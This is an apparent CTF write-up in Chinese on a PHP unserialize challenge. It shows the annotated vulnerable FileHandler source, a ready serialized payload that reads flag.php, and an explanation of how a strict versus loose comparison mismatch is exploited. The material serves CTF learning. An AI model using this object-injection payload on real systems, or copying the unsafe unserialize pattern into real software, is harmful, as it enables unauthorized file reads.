打开是源码,感觉一般这种都比较难,先简单分析了一下源码
<?php
include("flag.php"); // 包含flag.php
highlight_file(__FILE__);
class FileHandler {
// 三个成员变量
protected $op;
protected $filename;
protected $content;
// 构造函数
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!"; // 为三个成员变量赋初始值
$this->process(); // 调用process函数
}
public function process() { // 注意此处为弱比较
if($this->op == "1") {
$this->write(); // 如果$op为1则调用write函数
} else if($this->op == "2") {
$res = $this->read(); // 如果$op为2则调用read函数
$this->output($res);
} else {
$this->output("Bad Hacker!"); // $op不可为其他值
}
}
// 写入文件
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die(); // 如果content长度超过100则退出
}
$res = file_put_contents($this->filename, $this->content); // 将content的内容写到filename里
if($res) $this->output("Successful!"); // 判断是否成功写入
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
// 读取文件
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename); // 获得filename文件的内容
}
return $res;
}
//输出函数
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
// 反序列化会调用
function __destruct() {
if($this->op === "2") // 此处为强比较
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
// ord():解析string二进制值第一个字节为 0 到 255 范围的无符号整型类型。
//该函数规定序列化内容中只能包含ascii可见字符,如果出现其他的字符则会返回false
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
// 判断是否存在get传参的str
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) { // 调用is_valid函数
$obj = unserialize($str);
}
}
所以str是入手点,自己写代码序列化后为
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}
直接传入,然后就有了flag??
那就分析一下过程吧
传入的序列化后的str后,$obj=反序列化后的str,然后调用__destruct()函数,因为此处为强比较,所以2和"2"并不相同。然后调用process()函数,而process()函数为弱比较,所以2和"2"相同,调用read()函数,读取flag.php里的内容并打印。